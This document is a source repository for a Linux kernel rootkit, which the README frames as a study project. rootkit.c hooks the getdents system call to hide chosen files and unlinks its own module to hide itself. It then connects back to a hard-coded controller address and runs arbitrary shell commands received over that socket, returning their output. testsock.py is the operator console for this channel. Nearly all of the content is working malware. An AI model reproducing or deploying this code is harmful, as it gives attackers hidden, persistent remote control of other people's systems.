├── README.md └── src ├── Makefile ├── aaa.txt ├── ftrace_helper.h ├── rootkit.c └── testsock.py /README.md: -------------------------------------------------------------------------------- 1 | # linux_kernel_rootkit 2 | 编写一个简单的linux kernel rootkit 3 | 4 | # 博客链接 5 | 6 | [https://www.cnblogs.com/aWxvdmVseXc0/p/16560341.html](https://www.cnblogs.com/aWxvdmVseXc0/p/16560341.html) 7 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /src/aaa.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 13 | #define PTREGS_SYSCALL_STUBS 1 14 | #endif 15 | 16 | /* x64 has to be special and require a different naming convention */ 17 | #ifdef PTREGS_SYSCALL_STUBS 18 | #define SYSCALL_NAME(name) ("__x64_" name) 19 | #else 20 | #define SYSCALL_NAME(name) (name) 21 | #endif 22 | 23 | #define HOOK(_name, _hook, _orig) \ 24 | { \ 25 | .name = SYSCALL_NAME(_name), \ 26 | .function = (_hook), \ 27 | .original = (_orig), \ 28 | } 29 | 30 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 31 | * panic and hang. The options are to either detect recursion by looking at 32 | * the function return address, or by jumping over the ftrace call. We use the 33 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 34 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 35 | * recursion, but it relies on saving return registers in $rip. We will likely 36 | * need the use of the $rip register in our hook, so we have to disable this 37 | * protection and implement our own). 38 | * */ 39 | #define USE_FENTRY_OFFSET 0 40 | #if !USE_FENTRY_OFFSET 41 | #pragma GCC optimize("-fno-optimize-sibling-calls") 42 | #endif 43 | 44 | /* We pack all the information we need (name, hooking function, original function) 45 | * into this struct. This makes is easier for setting up the hook and just passing 46 | * the entire struct off to fh_install_hook() later on. 47 | * */ 48 | struct ftrace_hook { 49 | const char *name; 50 | void *function; 51 | void *original; 52 | 53 | unsigned long address; 54 | struct ftrace_ops ops; 55 | }; 56 | 57 | /* Ftrace needs to know the address of the original function that we 58 | * are going to hook. As before, we just use kallsyms_lookup_name() 59 | * to find the address in kernel memory. 60 | * */ 61 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 62 | { 63 | hook->address = kallsyms_lookup_name(hook->name); 64 | 65 | if (!hook->address) 66 | { 67 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 68 | return -ENOENT; 69 | } 70 | 71 | #if USE_FENTRY_OFFSET 72 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 73 | #else 74 | *((unsigned long*) hook->original) = hook->address; 75 | #endif 76 | 77 | return 0; 78 | } 79 | 80 | /* See comment below within fh_install_hook() */ 81 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 82 | { 83 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 84 | 85 | #if USE_FENTRY_OFFSET 86 | regs->ip = (unsigned long) hook->function; 87 | #else 88 | if(!within_module(parent_ip, THIS_MODULE)) 89 | regs->ip = (unsigned long) hook->function; 90 | #endif 91 | } 92 | 93 | /* Assuming we've already set hook->name, hook->function and hook->original, we 94 | * can go ahead and install the hook with ftrace. This is done by setting the 95 | * ops field of hook (see the comment below for more details), and then using 96 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 97 | * provided by ftrace.h 98 | * */ 99 | int fh_install_hook(struct ftrace_hook *hook) 100 | { 101 | int err; 102 | err = fh_resolve_hook_address(hook); 103 | if(err) 104 | return err; 105 | /* For many of function hooks (especially non-trivial ones), the $rip 106 | * register gets modified, so we have to alert ftrace to this fact. This 107 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 108 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 109 | * the built-in anti-recursion guard provided by ftrace is useless if 110 | * we're modifying $rip. This is why we have to implement our own checks 111 | * (see USE_FENTRY_OFFSET). */ 112 | hook->ops.func = fh_ftrace_thunk; 113 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 114 | | FTRACE_OPS_FL_RECURSION_SAFE 115 | | FTRACE_OPS_FL_IPMODIFY; 116 | 117 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 118 | if(err) 119 | { 120 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 121 | return err; 122 | } 123 | 124 | err = register_ftrace_function(&hook->ops); 125 | if(err) 126 | { 127 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 128 | return err; 129 | } 130 | 131 | return 0; 132 | } 133 | 134 | /* Disabling our function hook is just a simple matter of calling the built-in 135 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 136 | * opposite order to that in fh_install_hook()). 137 | * */ 138 | void fh_remove_hook(struct ftrace_hook *hook) 139 | { 140 | int err; 141 | err = unregister_ftrace_function(&hook->ops); 142 | if(err) 143 | { 144 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 145 | } 146 | 147 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 148 | if(err) 149 | { 150 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 151 | } 152 | } 153 | 154 | /* To make it easier to hook multiple functions in one module, this provides 155 | * a simple loop over an array of ftrace_hook struct 156 | * */ 157 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 158 | { 159 | int err; 160 | size_t i; 161 | 162 | for (i = 0 ; i < count ; i++) 163 | { 164 | err = fh_install_hook(&hooks[i]); 165 | if(err) 166 | goto error; 167 | } 168 | return 0; 169 | 170 | error: 171 | while (i != 0) 172 | { 173 | fh_remove_hook(&hooks[--i]); 174 | } 175 | return err; 176 | } 177 | 178 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 179 | { 180 | size_t i; 181 | 182 | for (i = 0 ; i < count ; i++) 183 | fh_remove_hook(&hooks[i]); 184 | } 185 | -------------------------------------------------------------------------------- /src/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include "ftrace_helper.h" 20 | 21 | MODULE_LICENSE("GPL"); 22 | MODULE_AUTHOR("windy_ll"); 23 | MODULE_DESCRIPTION("kernel rootkit study"); 24 | MODULE_VERSION("1.0.0"); 25 | 26 | static struct task_struct *test_kthread = NULL; 27 | static struct list_head *prev_module; 28 | static int debug_mode = 1; 29 | static int hide_mode = 0; 30 | static char hidedirlist[100][10]; 31 | 32 | int calchidedirlistlength(void) 33 | { 34 | int i,result; 35 | 36 | result = 0; 37 | for (i = 0; i < 100; i++) 38 | { 39 | if(hidedirlist[i][0] == '\0') 40 | { 41 | break; 42 | } 43 | result++; 44 | } 45 | return result; 46 | } 47 | 48 | void resethidedirlist(void) 49 | { 50 | int i,k; 51 | 52 | for (i = 0; i < 100; i++) 53 | { 54 | for (k = 0; k < 10; k++) 55 | { 56 | hidedirlist[i][k] = '\0'; 57 | } 58 | } 59 | } 60 | 61 | void inserthidelist(char name[10]) 62 | { 63 | int index; 64 | 65 | index = calchidedirlistlength(); 66 | strcpy(hidedirlist[index],name); 67 | } 68 | 69 | int check(char *ptr) 70 | { 71 | int i,result,length; 72 | 73 | result = 0; 74 | length = calchidedirlistlength(); 75 | for(i = 0;i < length;i++) 76 | { 77 | if(strstr(ptr,hidedirlist[i]) != NULL) 78 | { 79 | result = 1; 80 | break; 81 | } 82 | } 83 | return result; 84 | } 85 | 86 | void hideme(void) 87 | { 88 | prev_module = THIS_MODULE->list.prev; 89 | list_del(&THIS_MODULE->list); 90 | } 91 | 92 | void showme(void) 93 | { 94 | list_add(&THIS_MODULE->list,prev_module); 95 | } 96 | 97 | static asmlinkage long (*orig_getdents)(const struct pt_regs *); 98 | 99 | asmlinkage int hook_getdents(const struct pt_regs *regs) 100 | { 101 | struct linux_dirent { 102 | unsigned long d_ino; 103 | unsigned long d_off; 104 | unsigned short d_reclen; 105 | char d_name[]; 106 | }; 107 | struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si; 108 | struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL; 109 | unsigned long offset = 0; 110 | long error; 111 | 112 | int ret = orig_getdents(regs); 113 | dirent_ker = kzalloc(ret, GFP_KERNEL); 114 | 115 | if ((ret <= 0) || (dirent_ker == NULL)) 116 | { 117 | printk(KERN_DEBUG "error 1,ret is %d\n",ret); 118 | return ret; 119 | } 120 | 121 | error = copy_from_user(dirent_ker, dirent, ret); 122 | if(error) 123 | { 124 | printk(KERN_DEBUG "error 2\n"); 125 | goto done; 126 | } 127 | 128 | while(offset < ret) 129 | { 130 | current_dir = (void *)dirent_ker + offset; 131 | if(check(current_dir->d_name) == 1) 132 | { 133 | if(debug_mode == 1) 134 | { 135 | printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name); 136 | } 137 | if(current_dir == dirent_ker) 138 | { 139 | ret -= current_dir->d_reclen; 140 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 141 | continue; 142 | } 143 | previous_dir->d_reclen += current_dir->d_reclen; 144 | } 145 | else 146 | { 147 | previous_dir = current_dir; 148 | } 149 | offset += current_dir->d_reclen; 150 | } 151 | 152 | error = copy_to_user(dirent, dirent_ker, ret); 153 | if(error) 154 | { 155 | printk(KERN_DEBUG "error 3\n"); 156 | goto done; 157 | } 158 | 159 | done: 160 | kfree(dirent_ker); 161 | return ret; 162 | } 163 | 164 | static char* execcmd(char cmd[1024]) 165 | { 166 | int result; 167 | struct file *fp; 168 | mm_segment_t fs; 169 | loff_t pos; 170 | static char buf[4096]; 171 | char add[] = " > /tmp/result.txt"; 172 | char cmd_path[] = "/bin/sh"; 173 | strcat(cmd,add); 174 | char *cmd_argv[] = {cmd_path,"-c",cmd,NULL}; 175 | char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL}; 176 | result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC); 177 | if(debug_mode == 1) { 178 | printk(KERN_INFO "[rootkit]: call_usermodehelper() result is %d\n",result); 179 | } 180 | fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644); 181 | if(IS_ERR(fp)) { 182 | printk(KERN_INFO "[rootkit]: open file failed!\n"); 183 | return 0; 184 | } 185 | memset(buf,0,sizeof(buf)); 186 | fs = get_fs(); 187 | set_fs(KERNEL_DS); 188 | pos = 0; 189 | vfs_read(fp,buf,sizeof(buf),&pos); 190 | if(debug_mode == 1) { 191 | printk(KERN_INFO "[rootkit]: shell result %ld:\n",strlen(buf)); 192 | printk("%s\n",buf); 193 | } 194 | filp_close(fp,NULL); 195 | set_fs(fs); 196 | return buf; 197 | } 198 | 199 | static int starttask(void *data){ 200 | 201 | struct socket *sock,*client_sock; 202 | struct sockaddr_in s_addr; 203 | unsigned short portnum=8888; 204 | int ret=0; 205 | char recvbuf[1024]; 206 | char sendbuf[4096]; 207 | char hidetmp[10]; 208 | char *result,*ptr; 209 | struct msghdr recvmsg,sendmsg; 210 | struct kvec send_vec,recv_vec; 211 | 212 | //sendbuf = kmalloc(1024,GFP_KERNEL); 213 | if(sendbuf == NULL) { 214 | printk(KERN_INFO "[rootkit]: sendbuf kmalloc failed!\n"); 215 | return -1; 216 | } 217 | 218 | //recvbuf = kmalloc(1024,GFP_KERNEL); 219 | if(recvbuf == NULL) { 220 | printk(KERN_INFO "[rootkit]: recvbuf kmalloc failed!\n"); 221 | return -1; 222 | } 223 | 224 | memset(&s_addr,0,sizeof(s_addr)); 225 | s_addr.sin_family=AF_INET; 226 | s_addr.sin_port=htons(portnum); 227 | s_addr.sin_addr.s_addr=in_aton("10.10.10.195"); 228 | 229 | sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL); 230 | client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL); 231 | 232 | /*create a socket*/ 233 | ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock); 234 | if(ret < 0){ 235 | printk("[rootkit]:socket_create_kern error!\n"); 236 | return -1; 237 | } 238 | 239 | if(debug_mode == 1) { 240 | printk("[rootkit]:socket_create_kern ok!\n"); 241 | } 242 | ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0); 243 | if(debug_mode == 1) { 244 | printk(KERN_INFO "[rootkit]: connect ret = %d\n",ret); 245 | } 246 | /* 247 | if(ret != 0){ 248 | printk("[SockTest]: connect error\n"); 249 | return ret; 250 | } 251 | */ 252 | if(debug_mode == 1) { 253 | printk("[rootkit]:connect ok!\n"); 254 | } 255 | 256 | memset(sendbuf,0,1024); 257 | 258 | strcpy(sendbuf,"test"); 259 | 260 | memset(&sendmsg,0,sizeof(sendmsg)); 261 | memset(&send_vec,0,sizeof(send_vec)); 262 | 263 | send_vec.iov_base = sendbuf; 264 | send_vec.iov_len = 4096; 265 | 266 | /*send*/ 267 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4); 268 | printk(KERN_INFO "[rootkit]: kernel_sendmsg ret = %d\n",ret); 269 | if(ret < 0) { 270 | printk(KERN_INFO "[rootkit]: kernel_sendmsg failed!\n"); 271 | return ret; 272 | } 273 | if(debug_mode == 1) { 274 | printk(KERN_INFO "[rootkit]: send ok!\n"); 275 | } 276 | memset(&recv_vec,0,sizeof(recv_vec)); 277 | memset(&recvmsg,0,sizeof(recvmsg)); 278 | 279 | recv_vec.iov_base = recvbuf; 280 | recv_vec.iov_len = 1024; 281 | 282 | /*kmalloc a receive buffer*/ 283 | while(true) { 284 | memset(recvbuf, 0, 1024); 285 | 286 | ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0); 287 | printk(KERN_INFO "[rootkit]: received message: %s\n",recvbuf); 288 | if(!strcmp("exit",recvbuf)) { 289 | break; 290 | } 291 | else if(!strcmp("startdebug",recvbuf)) 292 | { 293 | debug_mode = 1; 294 | memset(sendbuf,0,4096); 295 | strcpy(sendbuf,"debug mode start success"); 296 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 297 | } 298 | else if((strstr(recvbuf,"hideko") != NULL) && hide_mode == 0) 299 | { 300 | hideme(); 301 | hide_mode = 1; 302 | memset(sendbuf,0,4096); 303 | strcpy(sendbuf,"hide ko success"); 304 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 305 | } 306 | else if((strstr(recvbuf,"hideko") != NULL) && hide_mode == 1) 307 | { 308 | memset(sendbuf,0,4096); 309 | strcpy(sendbuf,"hide ko is already on, please don't repeat"); 310 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 311 | } 312 | else if((strstr(recvbuf,"showko") != NULL) && hide_mode == 1) 313 | { 314 | showme(); 315 | hide_mode = 0; 316 | memset(sendbuf,0,4096); 317 | strcpy(sendbuf,"show ko success"); 318 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 319 | } 320 | else if((strstr(recvbuf,"showko") != NULL) && hide_mode == 0) 321 | { 322 | memset(sendbuf,0,4096); 323 | strcpy(sendbuf,"show ko is already on, please don't repeat"); 324 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 325 | } 326 | else if((strstr(recvbuf,"hidefile") != NULL)) 327 | { 328 | ptr = recvbuf; 329 | ptr = ptr + 9; 330 | memset(hidetmp,0,10); 331 | strncpy(hidetmp,ptr,10); 332 | inserthidelist(hidetmp); 333 | memset(sendbuf,0,4096); 334 | strcpy(sendbuf,"add hidefile success"); 335 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 336 | } 337 | else 338 | { 339 | printk(KERN_INFO "[rootkit]: %ld\n",strlen(recvbuf)); 340 | result = execcmd(recvbuf); 341 | memset(sendbuf,0,4096); 342 | strncpy(sendbuf,result,4096); 343 | ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); 344 | } 345 | } 346 | 347 | kernel_sock_shutdown(sock,SHUT_RDWR); 348 | sock_release(sock); 349 | printk(KERN_INFO "[rootkit]: socket exit\n"); 350 | 351 | return 0; 352 | } 353 | 354 | static struct ftrace_hook hooks[] = { 355 | HOOK("sys_getdents",hook_getdents,&orig_getdents), 356 | }; 357 | 358 | static int rootkit_init(void){ 359 | int err; 360 | 361 | resethidedirlist(); 362 | err = fh_install_hooks(hooks,ARRAY_SIZE(hooks)); 363 | if(err) 364 | { 365 | return err; 366 | } 367 | test_kthread = kthread_run(starttask, NULL, "kthread-test"); 368 | if (!test_kthread) { 369 | return -ECHILD; 370 | } 371 | 372 | return 0; 373 | } 374 | 375 | static void rootkit_exit(void){ 376 | fh_remove_hooks(hooks,ARRAY_SIZE(hooks)); 377 | printk("[rootkit]: rootkit exit\n"); 378 | } 379 | 380 | module_init(rootkit_init); 381 | module_exit(rootkit_exit); -------------------------------------------------------------------------------- /src/testsock.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | serversocket = socket.socket( 5 | socket.AF_INET, socket.SOCK_STREAM) 6 | 7 | host = socket.gethostname() 8 | 9 | port = 8888 10 | 11 | serversocket.bind(('10.10.10.195', port)) 12 | 13 | serversocket.listen(5) 14 | 15 | clientsocket,addr = serversocket.accept() 16 | 17 | print("连接地址: %s" % str(addr)) 18 | msg = clientsocket.recv(1024) 19 | while True: 20 | msg=input(">>") 21 | if msg == "?": 22 | print("usage\n") 23 | print(" startdebug 开启调式模式,输出调试信息,默认开启") 24 | print(" hideko 隐藏内核模块") 25 | print(" showko 显示内核模块") 26 | print(" hidefile 隐藏文件或目录,示例: hidefile aaa.txt") 27 | print(" exit 关闭内核木马") 28 | print(" other 执行命令") 29 | continue 30 | clientsocket.send(msg.encode('utf-8')) 31 | if msg == "exit": 32 | break 33 | msg = clientsocket.recv(4096) 34 | print(msg.decode('utf-8')) 35 | 36 | clientsocket.close() --------------------------------------------------------------------------------